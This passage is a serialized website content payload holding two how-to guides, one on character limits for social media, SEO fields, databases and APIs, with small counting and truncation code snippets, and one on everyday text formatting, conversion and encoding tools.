parameters",[11,203336,321],{"id":320},[41,203338,203339,203343],{},[44,203340,203341],{},[98,203342,22545],{"href":22544},[44,203344,203345],{},[98,203346,86192],{"href":86461},{"title":141,"searchDepth":337,"depth":337,"links":203348},[203349,203350,203351,203358,203359,203366,203372,203373,203374,203375],{"id":202817,"depth":337,"text":202818},{"id":202831,"depth":337,"text":202832},{"id":202912,"depth":337,"text":202913,"children":203352},[203353,203354,203355,203356,203357],{"id":86311,"depth":343,"text":84223},{"id":202932,"depth":343,"text":202933},{"id":120979,"depth":343,"text":202953},{"id":86285,"depth":343,"text":22016},{"id":203004,"depth":343,"text":203005},{"id":160528,"depth":337,"text":160529},{"id":203138,"depth":337,"text":203139,"children":203360},[203361,203362,203363,203364,203365],{"id":203142,"depth":343,"text":203143},{"id":203157,"depth":343,"text":203158},{"id":203172,"depth":343,"text":203173},{"id":203192,"depth":343,"text":203193},{"id":203207,"depth":343,"text":203208},{"id":10392,"depth":337,"text":10393,"children":203367},[203368,203369,203370,203371],{"id":101940,"depth":343,"text":101941},{"id":203243,"depth":343,"text":203244},{"id":203250,"depth":343,"text":203251},{"id":203257,"depth":343,"text":203258},{"id":203264,"depth":337,"text":203265},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Comparing text encoding methods — Base64, URL encoding, HTML entities, ROT13, and Unicode escapes — and when to use each.",{"immutable":363},{"title":22557,"description":203376},"guides\u002Ftext-encoding-methods","BA_L86Snvlite8_TJq5N_uYPIudjKFegECK6ypv1o3A",{"id":203382,"title":203383,"body":203384,"date":2070,"description":204318,"extension":361,"meta":204319,"navigation":363,"path":24464,"readingTime":7146,"seo":204322,"stem":204323,"__hash__":204324},"guides\u002Fguides\u002Ftext-length-limits.md","Text Length Limits: Platform Character Restrictions Explained",{"type":8,"value":203385,"toc":204295},[203386,203390,203393,203396,203399,203402,203603,203607,203633,203637,203640,203717,203721,203724,203727,203733,203736,203740,203743,203746,203750,203753,203757,203839,203842,203846,203905,203908,203912,203915,203919,203955,203959,203974,203978,203981,204090,204094,204097,204137,204232,204238,204240,204262,204264,204283,204285,204288,204292],[11,203387,203389],{"id":203388},"why-text-limits-exist","Why Text Limits Exist",[16,203391,203392],{},"Platforms enforce character limits for practical reasons. Social media feeds need to show multiple posts per screen. Search results need consistent snippet sizes. Databases need predictable storage. APIs need bounded payloads.",[16,203394,203395],{},"For you, the writer or developer, these limits are hard constraints. Exceed them and your content gets silently truncated, your form rejects the submission, or your API call fails. Knowing the exact numbers saves time and prevents frustration.",[11,203397,183681],{"id":203398},"social-media-character-limits",[16,203400,203401],{},"Social platforms define limits per field, not per account. Here is the complete breakdown:",[193,203403,203404,203414],{},[196,203405,203406],{},[199,203407,203408,203410,203412],{},[202,203409,23888],{},[202,203411,14305],{},[202,203413,23893],{},[211,203415,203416,203424,203432,203440,203448,203456,203465,203473,203481,203489,203497,203505,203515,203524,203532,203540,203548,203556,203566,203575,203584,203594],{},[199,203417,203418,203420,203422],{},[216,203419,23900],{},[216,203421,23903],{},[216,203423,23906],{},[199,203425,203426,203428,203430],{},[216,203427,23900],{},[216,203429,23913],{},[216,203431,18059],{},[199,203433,203434,203436,203438],{},[216,203435,23900],{},[216,203437,23933],{},[216,203439,18301],{},[199,203441,203442,203444,203446],{},[216,203443,23920],{},[216,203445,23923],{},[216,203447,23926],{},[199,203449,203450,203452,203454],{},[216,203451,23920],{},[216,203453,23933],{},[216,203455,23936],{},[199,203457,203458,203460,203462],{},[216,203459,23920],{},[216,203461,189892],{},[216,203463,203464],{},"30 tags max",[199,203466,203467,203469,203471],{},[216,203468,23941],{},[216,203470,23944],{},[216,203472,23947],{},[199,203474,203475,203477,203479],{},[216,203476,23941],{},[216,203478,184526],{},[216,203480,189941],{},[199,203482,203483,203485,203487],{},[216,203484,23941],{},[216,203486,23954],{},[216,203488,23957],{},[199,203490,203491,203493,203495],{},[216,203492,23941],{},[216,203494,189953],{},[216,203496,189956],{},[199,203498,203499,203501,203503],{},[216,203500,23962],{},[216,203502,23944],{},[216,203504,23967],{},[199,203506,203507,203509,203512],{},[216,203508,23962],{},[216,203510,203511],{},"Ad primary text",[216,203513,203514],{},"125",[199,203516,203517,203519,203522],{},[216,203518,23962],{},[216,203520,203521],{},"Ad headline",[216,203523,18162],{},[199,203525,203526,203528,203530],{},[216,203527,190046],{},[216,203529,23923],{},[216,203531,23926],{},[199,203533,203534,203536,203538],{},[216,203535,190046],{},[216,203537,23933],{},[216,203539,5321],{},[199,203541,203542,203544,203546],{},[216,203543,23972],{},[216,203545,23975],{},[216,203547,18114],{},[199,203549,203550,203552,203554],{},[216,203551,23972],{},[216,203553,207],{},[216,203555,23986],{},[199,203557,203558,203561,203564],{},[216,203559,203560],{},"Pinterest",[216,203562,203563],{},"Pin description",[216,203565,72484],{},[199,203567,203568,203570,203573],{},[216,203569,203560],{},[216,203571,203572],{},"Board name",[216,203574,18114],{},[199,203576,203577,203579,203582],{},[216,203578,181662],{},[216,203580,203581],{},"Post title",[216,203583,44009],{},[199,203585,203586,203588,203591],{},[216,203587,181662],{},[216,203589,203590],{},"Post body",[216,203592,203593],{},"40,000",[199,203595,203596,203599,203601],{},[216,203597,203598],{},"Snapchat",[216,203600,23923],{},[216,203602,45885],{},[33,203604,203606],{"id":203605},"practical-tips-for-social-limits","Practical Tips for Social Limits",[41,203608,203609,203615,203621,203627],{},[44,203610,203611,203614],{},[47,203612,203613],{},"Always write under the limit."," If a tweet allows 280 characters, aim for 240. Truncation markers (\"...\") signal rushed writing.",[44,203616,203617,203620],{},[47,203618,203619],{},"Account for links."," X (Twitter) reserves 23 characters for any URL, regardless of its actual length. Always test with the final shortened URL.",[44,203622,203623,203626],{},[47,203624,203625],{},"Emojis cost more bytes."," Adding 10 emojis to an Instagram caption does not change the character count much, but it increases byte size substantially. Some analytics tools still count bytes.",[44,203628,203629,203632],{},[47,203630,203631],{},"Whitespace counts."," Line breaks and spaces count toward limits. A 2,200-character Instagram caption with generous spacing might hit the wall sooner than you expect.",[11,203634,203636],{"id":203635},"seo-character-limits","SEO Character Limits",[16,203638,203639],{},"Search engines do not publish hard limits, but they truncate display at predictable points:",[193,203641,203642,203654],{},[196,203643,203644],{},[199,203645,203646,203648,203651],{},[202,203647,14305],{},[202,203649,203650],{},"Recommended Limit",[202,203652,203653],{},"What Happens If You Exceed It",[211,203655,203656,203666,203675,203685,203696,203706],{},[199,203657,203658,203661,203663],{},[216,203659,203660],{},"Title tag",[216,203662,152311],{},[216,203664,203665],{},"Google truncates with \"...\"",[199,203667,203668,203671,203673],{},[216,203669,203670],{},"Meta description",[216,203672,183008],{},[216,203674,203665],{},[199,203676,203677,203679,203682],{},[216,203678,183224],{},[216,203680,203681],{},"75 characters",[216,203683,203684],{},"Browsers handle longer URLs, but search results may crop the display",[199,203686,203687,203690,203693],{},[216,203688,203689],{},"URL total",[216,203691,203692],{},"2,048 characters",[216,203694,203695],{},"Internet Explorer refuses to load longer URLs; other browsers vary",[199,203697,203698,203701,203703],{},[216,203699,203700],{},"H1 heading",[216,203702,183037],{},[216,203704,203705],{},"No truncation penalty, but overly long headings dilute keyword focus",[199,203707,203708,203711,203714],{},[216,203709,203710],{},"Alt text",[216,203712,203713],{},"125 characters",[216,203715,203716],{},"Screen readers process longer alt text, but conciseness improves accessibility",[33,203718,203720],{"id":203719},"title-tag-strategy","Title Tag Strategy",[16,203722,203723],{},"Search engines weigh the first words in a title tag more heavily. Put your primary keyword near the beginning. If your title is \"Best Project Management Tools for Small Teams in 2026,\" Google reads and ranks \"Best Project Management Tools\" more than the trailing context.",[16,203725,203726],{},"A practical formula for title tags:",[135,203728,203731],{"className":203729,"code":203730,"language":140,"meta":141},[138],"[Primary Keyword] - [Differentiator] | [Brand]\n",[143,203732,203730],{"__ignoreMap":141},[16,203734,203735],{},"Example: \"Character Counter - Free Online Tool | ToolBoxes\"",[33,203737,203739],{"id":203738},"meta-description-strategy","Meta Description Strategy",[16,203741,203742],{},"Meta descriptions do not directly affect rankings, but they strongly influence click-through rates. A compelling description under 155 characters can dramatically improve traffic from the same ranking position.",[16,203744,203745],{},"Write descriptions as ad copy, not summaries. Include a benefit and a verb.",[11,203747,203749],{"id":203748},"database-and-api-character-limits","Database and API Character Limits",[16,203751,203752],{},"Backend systems enforce limits that front-end validation must match. Mismatches cause silent truncation or server errors.",[33,203754,203756],{"id":203755},"common-database-limits","Common Database Limits",[193,203758,203759,203769],{},[196,203760,203761],{},[199,203762,203763,203765,203767],{},[202,203764,117455],{},[202,203766,34969],{},[202,203768,23893],{},[211,203770,203771,203781,203791,203801,203811,203820,203829],{},[199,203772,203773,203775,203778],{},[216,203774,192566],{},[216,203776,203777],{},"VARCHAR",[216,203779,203780],{},"Up to 65,535 bytes (shared row limit)",[199,203782,203783,203785,203788],{},[216,203784,192566],{},[216,203786,203787],{},"TEXT",[216,203789,203790],{},"65,535 bytes",[199,203792,203793,203795,203798],{},[216,203794,192566],{},[216,203796,203797],{},"MEDIUMTEXT",[216,203799,203800],{},"16,777,215 bytes",[199,203802,203803,203805,203808],{},[216,203804,192556],{},[216,203806,203807],{},"VARCHAR(n)",[216,203809,203810],{},"User-defined (up to ~1 GB)",[199,203812,203813,203815,203817],{},[216,203814,192556],{},[216,203816,203787],{},[216,203818,203819],{},"Unlimited (up to ~1 GB)",[199,203821,203822,203824,203826],{},[216,203823,192586],{},[216,203825,203787],{},[216,203827,203828],{},"1 billion bytes",[199,203830,203831,203834,203836],{},[216,203832,203833],{},"MongoDB",[216,203835,157068],{},[216,203837,203838],{},"16 MB per document",[16,203840,203841],{},"The critical detail: MySQL's VARCHAR counts bytes, not characters, when using multi-byte encodings. A VARCHAR(100) column with utf8mb4 can store 100 ASCII characters but only 25 four-byte emojis.",[33,203843,203845],{"id":203844},"api-payload-limits","API Payload Limits",[193,203847,203848,203857],{},[196,203849,203850],{},[199,203851,203852,203855],{},[202,203853,203854],{},"API",[202,203856,2976],{},[211,203858,203859,203867,203875,203882,203889,203897],{},[199,203860,203861,203864],{},[216,203862,203863],{},"REST API (typical)",[216,203865,203866],{},"1–10 MB request body",[199,203868,203869,203872],{},[216,203870,203871],{},"GraphQL",[216,203873,203874],{},"Varies by implementation",[199,203876,203877,203880],{},[216,203878,203879],{},"AWS API Gateway",[216,203881,96868],{},[199,203883,203884,203886],{},[216,203885,124063],{},[216,203887,203888],{},"100 MB",[199,203890,203891,203894],{},[216,203892,203893],{},"Stripe API",[216,203895,203896],{},"500 KB per request",[199,203898,203899,203902],{},[216,203900,203901],{},"Twitter API v2",[216,203903,203904],{},"280 characters per tweet field",[16,203906,203907],{},"Always validate input length on both client and server. Client-side validation improves UX with immediate feedback. Server-side validation prevents malicious or malformed requests from reaching your database.",[11,203909,203911],{"id":203910},"handling-character-limits-in-code","Handling Character Limits in Code",[16,203913,203914],{},"Here are practical patterns for enforcing limits correctly across languages.",[33,203916,203918],{"id":203917},"javascript-count-unicode-characters-correctly","JavaScript: Count Unicode Characters Correctly",[135,203920,203922],{"className":1607,"code":203921,"language":1609,"meta":141,"style":141},"\u002F\u002F Wrong: counts UTF-16 code units\ntext.length\n\n\u002F\u002F Right: counts Unicode characters\n[...text].length\n",[143,203923,203924,203929,203936,203940,203945],{"__ignoreMap":141},[1560,203925,203926],{"class":1562,"line":1563},[1560,203927,203928],{"class":1649},"\u002F\u002F Wrong: counts UTF-16 code units\n",[1560,203930,203931,203934],{"class":1562,"line":337},[1560,203932,203933],{"class":1570},"text.",[1560,203935,158287],{"class":1576},[1560,203937,203938],{"class":1562,"line":343},[1560,203939,1702],{"emptyLinePlaceholder":363},[1560,203941,203942],{"class":1562,"line":365},[1560,203943,203944],{"class":1649},"\u002F\u002F Right: counts Unicode characters\n",[1560,203946,203947,203949,203951,203953],{"class":1562,"line":889},[1560,203948,24385],{"class":1570},[1560,203950,24388],{"class":1669},[1560,203952,189440],{"class":1570},[1560,203954,158287],{"class":1576},[33,203956,203958],{"id":203957},"python-count-characters-vs-bytes","Python: Count Characters vs Bytes",[135,203960,203962],{"className":8259,"code":203961,"language":8261,"meta":141,"style":141},"len(\"😀\")  # 1 — Python counts characters correctly\nlen(\"😀\".encode(\"utf-8\"))  # 4 — byte count for storage\n",[143,203963,203964,203969],{"__ignoreMap":141},[1560,203965,203966],{"class":1562,"line":1563},[1560,203967,203968],{},"len(\"😀\")  # 1 — Python counts characters correctly\n",[1560,203970,203971],{"class":1562,"line":337},[1560,203972,203973],{},"len(\"😀\".encode(\"utf-8\"))  # 4 — byte count for storage\n",[33,203975,203977],{"id":203976},"trim-text-without-breaking-words","Trim Text Without Breaking Words",[16,203979,203980],{},"Truncating at an exact character limit often cuts mid-word. A better approach truncates at the last space before the limit.",[135,203982,203984],{"className":1607,"code":203983,"language":1609,"meta":141,"style":141},"function truncate(text, maxChars) {\n  if ([...text].length \u003C= maxChars) return text\n  const truncated = text.slice(0, maxChars)\n  const lastSpace = truncated.lastIndexOf(' ')\n  return truncated.slice(0, lastSpace) + '...'\n}\n",[143,203985,203986,204004,204026,204046,204067,204086],{"__ignoreMap":141},[1560,203987,203988,203990,203993,203995,203997,203999,204002],{"class":1562,"line":1563},[1560,203989,8648],{"class":1669},[1560,203991,203992],{"class":1566}," truncate",[1560,203994,1688],{"class":1570},[1560,203996,140],{"class":2219},[1560,203998,1459],{"class":1570},[1560,204000,204001],{"class":2219},"maxChars",[1560,204003,9345],{"class":1570},[1560,204005,204006,204008,204011,204013,204015,204017,204019,204022,204024],{"class":1562,"line":337},[1560,204007,27984],{"class":1669},[1560,204009,204010],{"class":1570}," ([",[1560,204012,24388],{"class":1669},[1560,204014,189440],{"class":1570},[1560,204016,9418],{"class":1576},[1560,204018,183308],{"class":1669},[1560,204020,204021],{"class":1570}," maxChars) ",[1560,204023,28313],{"class":1669},[1560,204025,120831],{"class":1570},[1560,204027,204028,204030,204033,204035,204037,204039,204041,204043],{"class":1562,"line":343},[1560,204029,28057],{"class":1669},[1560,204031,204032],{"class":1576}," truncated",[1560,204034,8186],{"class":1669},[1560,204036,22718],{"class":1570},[1560,204038,38951],{"class":1566},[1560,204040,1688],{"class":1570},[1560,204042,5285],{"class":1576},[1560,204044,204045],{"class":1570},", maxChars)\n",[1560,204047,204048,204050,204053,204055,204058,204061,204063,204065],{"class":1562,"line":365},[1560,204049,28057],{"class":1669},[1560,204051,204052],{"class":1576}," lastSpace",[1560,204054,8186],{"class":1669},[1560,204056,204057],{"class":1570}," truncated.",[1560,204059,204060],{"class":1566},"lastIndexOf",[1560,204062,1688],{"class":1570},[1560,204064,38072],{"class":5634},[1560,204066,8252],{"class":1570},[1560,204068,204069,204071,204073,204075,204077,204079,204082,204084],{"class":1562,"line":889},[1560,204070,9350],{"class":1669},[1560,204072,204057],{"class":1570},[1560,204074,38951],{"class":1566},[1560,204076,1688],{"class":1570},[1560,204078,5285],{"class":1576},[1560,204080,204081],{"class":1570},", lastSpace) ",[1560,204083,9448],{"class":1669},[1560,204085,183432],{"class":5634},[1560,204087,204088],{"class":1562,"line":1710},[1560,204089,1585],{"class":1570},[33,204091,204093],{"id":204092},"validate-input-length-on-form-submission","Validate Input Length on Form Submission",[16,204095,204096],{},"Always enforce limits before sending data to the server:",[135,204098,204100],{"className":6417,"code":204099,"language":6419,"meta":141,"style":141},"\u003Cinput maxlength=\"280\" \u002F>\n\u003Cp id=\"counter\">0 \u002F 280\u003C\u002Fp>\n",[143,204101,204102,204117],{"__ignoreMap":141},[1560,204103,204104,204106,204108,204111,204113,204115],{"class":1562,"line":1563},[1560,204105,6431],{"class":1570},[1560,204107,4470],{"class":2484},[1560,204109,204110],{"class":1566}," maxlength",[1560,204112,7297],{"class":1570},[1560,204114,198390],{"class":5634},[1560,204116,124341],{"class":1570},[1560,204118,204119,204121,204123,204125,204127,204130,204133,204135],{"class":1562,"line":337},[1560,204120,6431],{"class":1570},[1560,204122,16],{"class":2484},[1560,204124,43519],{"class":1566},[1560,204126,7297],{"class":1570},[1560,204128,204129],{"class":5634},"\"counter\"",[1560,204131,204132],{"class":1570},">0 \u002F 280\u003C\u002F",[1560,204134,16],{"class":2484},[1560,204136,6441],{"class":1570},[135,204138,204140],{"className":1607,"code":204139,"language":1609,"meta":141,"style":141},"const input = document.querySelector('input')\nconst counter = document.querySelector('#counter')\ninput.addEventListener('input', () => {\n  const count = [...input.value].length\n  counter.textContent = `${count} \u002F 280`\n})\n",[143,204141,204142,204160,204180,204196,204214,204228],{"__ignoreMap":141},[1560,204143,204144,204146,204148,204150,204152,204154,204156,204158],{"class":1562,"line":1563},[1560,204145,8180],{"class":1669},[1560,204147,33169],{"class":1576},[1560,204149,8186],{"class":1669},[1560,204151,11555],{"class":1570},[1560,204153,11786],{"class":1566},[1560,204155,1688],{"class":1570},[1560,204157,96975],{"class":5634},[1560,204159,8252],{"class":1570},[1560,204161,204162,204164,204167,204169,204171,204173,204175,204178],{"class":1562,"line":337},[1560,204163,8180],{"class":1669},[1560,204165,204166],{"class":1576}," counter",[1560,204168,8186],{"class":1669},[1560,204170,11555],{"class":1570},[1560,204172,11786],{"class":1566},[1560,204174,1688],{"class":1570},[1560,204176,204177],{"class":5634},"'#counter'",[1560,204179,8252],{"class":1570},[1560,204181,204182,204184,204186,204188,204190,204192,204194],{"class":1562,"line":343},[1560,204183,96968],{"class":1570},[1560,204185,11766],{"class":1566},[1560,204187,1688],{"class":1570},[1560,204189,96975],{"class":5634},[1560,204191,11774],{"class":1570},[1560,204193,11503],{"class":1669},[1560,204195,1571],{"class":1570},[1560,204197,204198,204200,204203,204205,204207,204209,204212],{"class":1562,"line":365},[1560,204199,28057],{"class":1669},[1560,204201,204202],{"class":1576}," count",[1560,204204,8186],{"class":1669},[1560,204206,39830],{"class":1570},[1560,204208,24388],{"class":1669},[1560,204210,204211],{"class":1570},"input.value].",[1560,204213,158287],{"class":1576},[1560,204215,204216,204219,204221,204223,204225],{"class":1562,"line":889},[1560,204217,204218],{"class":1570},"  counter.textContent ",[1560,204220,7297],{"class":1669},[1560,204222,34367],{"class":5634},[1560,204224,110866],{"class":1570},[1560,204226,204227],{"class":5634},"} \u002F 280`\n",[1560,204229,204230],{"class":1562,"line":1710},[1560,204231,1626],{"class":1570},[16,204233,76381,204234,204237],{},[143,204235,204236],{},"maxlength"," with a live counter so users see their remaining allowance before they hit the wall.",[11,204239,1355],{"id":1354},[41,204241,204242,204245,204248,204251,204256,204259],{},[44,204243,204244],{},"Social media platforms enforce strict character limits per field — always write under the limit to avoid truncation markers.",[44,204246,204247],{},"SEO title tags should stay under 60 characters and meta descriptions under 155 characters to prevent Google from cropping your display.",[44,204249,204250],{},"MySQL VARCHAR counts bytes, not characters — multi-byte characters eat into your limit faster than you might expect.",[44,204252,88506,204253,204255],{},[143,204254,24319],{}," counts UTF-16 code units, not Unicode characters — use the spread operator for accurate counts.",[44,204257,204258],{},"Validate character limits on both client and server. Client-side gives instant feedback; server-side prevents database corruption.",[44,204260,204261],{},"Trim text at word boundaries rather than at exact character positions for cleaner results.",[11,204263,321],{"id":320},[41,204265,204266,204271,204275,204279],{},[44,204267,204268],{},[98,204269,204270],{"href":24515},"Character Counting Guide",[44,204272,204273],{},[98,204274,24459],{"href":24458},[44,204276,204277],{},[98,204278,102125],{"href":102124},[44,204280,204281],{},[98,204282,183670],{"href":182736},[11,204284,286],{"id":285},[16,204286,204287],{},"Before you publish your next post, send that email, or commit your code — verify your character count. Our free tool counts characters, words, and bytes in real time so nothing gets cut off.",[16,204289,204290],{},[98,204291,24488],{"href":24487},[2043,204293,204294],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":204296},[204297,204298,204301,204305,204309,204315,204316,204317],{"id":203388,"depth":337,"text":203389},{"id":203398,"depth":337,"text":183681,"children":204299},[204300],{"id":203605,"depth":343,"text":203606},{"id":203635,"depth":337,"text":203636,"children":204302},[204303,204304],{"id":203719,"depth":343,"text":203720},{"id":203738,"depth":343,"text":203739},{"id":203748,"depth":337,"text":203749,"children":204306},[204307,204308],{"id":203755,"depth":343,"text":203756},{"id":203844,"depth":343,"text":203845},{"id":203910,"depth":337,"text":203911,"children":204310},[204311,204312,204313,204314],{"id":203917,"depth":343,"text":203918},{"id":203957,"depth":343,"text":203958},{"id":203976,"depth":343,"text":203977},{"id":204092,"depth":343,"text":204093},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Complete reference of character limits across social media, SEO, and development platforms. Never get truncated again.",{"keywords":204320},[24513,204321],"text-length-limits",{"title":203383,"description":204318},"guides\u002Ftext-length-limits","bfFKvMAAOpJ4vdKudJjgN7bdKqCqUaa8iDTsotLRt5M",{"id":204326,"title":204327,"body":204328,"date":2070,"description":204740,"extension":361,"meta":204741,"navigation":363,"path":155332,"readingTime":7146,"seo":204744,"stem":204745,"__hash__":204746},"guides\u002Fguides\u002Ftext-manipulation-tools.md","Essential Text Manipulation Tools Every Creator Needs",{"type":8,"value":204329,"toc":204720},[204330,204334,204337,204340,204344,204347,204351,204354,204400,204403,204407,204410,204436,204439,204443,204446,204518,204521,204525,204528,204560,204563,204567,204571,204574,204578,204581,204585,204588,204592,204595,204599,204602,204622,204626,204629,204666,204669,204671,204688,204690,204696,204698],[11,204331,204333],{"id":204332},"why-online-text-tools-matter","Why Online Text Tools Matter",[16,204335,204336],{},"You edit text every day — formatting JSON from an API response, converting a color value, decoding a Base64 string, or generating placeholder text for a mockup. Each of these tasks takes under a minute with the right tool, or ten minutes of frustration without one.",[16,204338,204339],{},"Online text tools eliminate friction. No installation, no configuration, no context switching to a terminal. Paste your input, get your output, move on. For developers and content creators who juggle dozens of small text operations daily, that speed adds up.",[11,204341,204343],{"id":204342},"types-of-text-manipulation-tools","Types of Text Manipulation Tools",[16,204345,204346],{},"Text tools fall into four broad categories based on what they do to your input.",[33,204348,204350],{"id":204349},"formatters","Formatters",[16,204352,204353],{},"Formatters restructure existing text to follow a standard or make it more readable. They do not change the underlying data — only the presentation.",[193,204355,204356,204366],{},[196,204357,204358],{},[199,204359,204360,204362,204364],{},[202,204361,751],{},[202,204363,922],{},[202,204365,40637],{},[211,204367,204368,204378,204389],{},[199,204369,204370,204372,204375],{},[216,204371,37777],{},[216,204373,204374],{},"Pretty-prints minified JSON",[216,204376,204377],{},"Reading API responses",[199,204379,204380,204383,204386],{},[216,204381,204382],{},"Markdown to HTML",[216,204384,204385],{},"Converts Markdown syntax to HTML",[216,204387,204388],{},"Publishing content",[199,204390,204391,204394,204397],{},[216,204392,204393],{},"CSS Formatter",[216,204395,204396],{},"Cleans and indents CSS",[216,204398,204399],{},"Reviewing minified stylesheets",[16,204401,204402],{},"Formatters are the most frequently used text tools because developers constantly encounter minified or poorly structured output that needs to be human-readable.",[33,204404,204406],{"id":204405},"sorters-and-organizers","Sorters and Organizers",[16,204408,204409],{},"These tools rearrange text according to rules — alphabetically, numerically, by length, or by deduplication.",[41,204411,204412,204418,204424,204430],{},[44,204413,204414,204417],{},[47,204415,204416],{},"Sort lines",": Alphabetize a list or sort numerically",[44,204419,204420,204423],{},[47,204421,204422],{},"Remove duplicates",": Clean pasted lists that contain repeated entries",[44,204425,204426,204429],{},[47,204427,204428],{},"Reverse line order",": Flip a list top-to-bottom",[44,204431,204432,204435],{},[47,204433,204434],{},"Shuffle lines",": Randomize order for testing or games",[16,204437,204438],{},"Sorters save time when you are working with data that someone pasted from a spreadsheet or exported from a database without ordering.",[33,204440,204442],{"id":204441},"converters-and-transformers","Converters and Transformers",[16,204444,204445],{},"Converters change text from one format or representation to another. The output represents the same information differently.",[193,204447,204448,204458],{},[196,204449,204450],{},[199,204451,204452,204454,204456],{},[202,204453,751],{},[202,204455,39500],{},[202,204457,754],{},[211,204459,204460,204470,204480,204490,204500,204508],{},[199,204461,204462,204464,204467],{},[216,204463,12162],{},[216,204465,204466],{},"Plain text or binary",[216,204468,204469],{},"Base64 string (and vice versa)",[199,204471,204472,204474,204477],{},[216,204473,664],{},[216,204475,204476],{},"\"100 km\"",[216,204478,204479],{},"\"62.14 miles\"",[199,204481,204482,204484,204487],{},[216,204483,18588],{},[216,204485,204486],{},"\"#FF5733\"",[216,204488,204489],{},"\"rgb(255, 87, 51)\"",[199,204491,204492,204494,204497],{},[216,204493,23816],{},[216,204495,204496],{},"\"hello world\"",[216,204498,204499],{},"\"helloWorld\" \u002F \"HELLO_WORLD\" \u002F etc.",[199,204501,204502,204504,204506],{},[216,204503,155315],{},[216,204505,155232],{},[216,204507,155242],{},[199,204509,204510,204512,204515],{},[216,204511,156905],{},[216,204513,204514],{},"\"My Blog Post Title\"",[216,204516,204517],{},"\"my-blog-post-title\"",[16,204519,204520],{},"Converters are essential at the boundaries between systems. An API returns a timestamp in Unix seconds; your frontend needs ISO 8601. A designer gives you a HEX color; your charting library expects RGB. A title needs a URL-safe slug. Each conversion is trivial, but doing it manually invites typos.",[33,204522,204524],{"id":204523},"encoders-and-decoders","Encoders and Decoders",[16,204526,204527],{},"Encoding tools transform text for safe transport or storage. They differ from converters in that the transformation follows a standard protocol, not just a format change.",[41,204529,204530,204540,204550,204555],{},[44,204531,204532,204534,204535,52609,204537,1525],{},[47,204533,34510],{},": Makes text safe for query parameters (",[143,204536,40658],{},[143,204538,204539],{},"hello%20world",[44,204541,204542,204545,204546,52609,204548,1525],{},[47,204543,204544],{},"HTML Entity Encoder",": Escapes characters for HTML (",[143,204547,69003],{},[143,204549,118452],{},[44,204551,204552,204554],{},[47,204553,86434],{},": Produces a fixed-length digest (SHA-256, MD5)",[44,204556,204557,204559],{},[47,204558,91043],{},": Reads the payload of a JSON Web Token",[16,204561,204562],{},"These tools bridge contexts — web URLs, HTML documents, authentication tokens — where special characters carry meaning and must be escaped.",[11,204564,204566],{"id":204565},"common-scenarios-where-text-tools-help","Common Scenarios Where Text Tools Help",[33,204568,204570],{"id":204569},"debugging-api-responses","Debugging API Responses",[16,204572,204573],{},"You paste a JSON response into a formatter, spot a missing closing bracket, fix it, and move on. Without a formatter, you are counting braces manually.",[33,204575,204577],{"id":204576},"preparing-content-for-the-web","Preparing Content for the Web",[16,204579,204580],{},"You have a blog post title that needs a URL slug, a meta description that needs a character count check, and inline code that needs HTML entity escaping. Three tools, three seconds each.",[33,204582,204584],{"id":204583},"working-with-encoded-data","Working with Encoded Data",[16,204586,204587],{},"A colleague sends a Base64-encoded string. You decode it, discover it is a JSON object, format that JSON, and find the field causing the bug. A hash calculator lets you verify that your local file matches the server's checksum.",[33,204589,204591],{"id":204590},"design-and-prototyping","Design and Prototyping",[16,204593,204594],{},"You need placeholder text at multiple lengths, a color converted from Figma's HEX to CSS's HSL, and a gradient CSS snippet. Online tools handle all of these without leaving the browser.",[11,204596,204598],{"id":204597},"how-to-choose-the-right-tool","How to Choose the Right Tool",[16,204600,204601],{},"With dozens of text tools available, picking the right one comes down to three questions:",[77,204603,204604,204610,204616],{},[44,204605,204606,204609],{},[47,204607,204608],{},"Does it handle your encoding?"," If you work with Unicode, CJK characters, or emoji, make sure the tool handles multi-byte characters correctly. Some older tools break on UTF-8 input.",[44,204611,204612,204615],{},[47,204613,204614],{},"Is it fast enough for your workflow?"," The best tools require zero clicks between pasting input and getting output. Avoid tools that force you to create an account, watch an ad, or click through multiple pages.",[44,204617,204618,204621],{},[47,204619,204620],{},"Does it respect your data?"," For sensitive inputs like API keys, JWTs, or passwords, use tools that process everything client-side. No data should leave your browser.",[11,204623,204625],{"id":204624},"building-a-text-tool-workflow","Building a Text Tool Workflow",[16,204627,204628],{},"Most developers end up with a handful of bookmarked tools they reach for daily. A practical toolkit might include:",[41,204630,204631,204636,204641,204646,204651,204656,204661],{},[44,204632,78047,204633,204635],{},[98,204634,37777],{"href":37776}," for API debugging",[44,204637,78047,204638,204640],{},[98,204639,12162],{"href":12161}," for data transport",[44,204642,78047,204643,204645],{},[98,204644,86882],{"href":87094}," for pattern matching",[44,204647,78047,204648,204650],{},[98,204649,170976],{"href":170975}," for secure credentials",[44,204652,78047,204653,204655],{},[98,204654,664],{"href":663}," for measurement 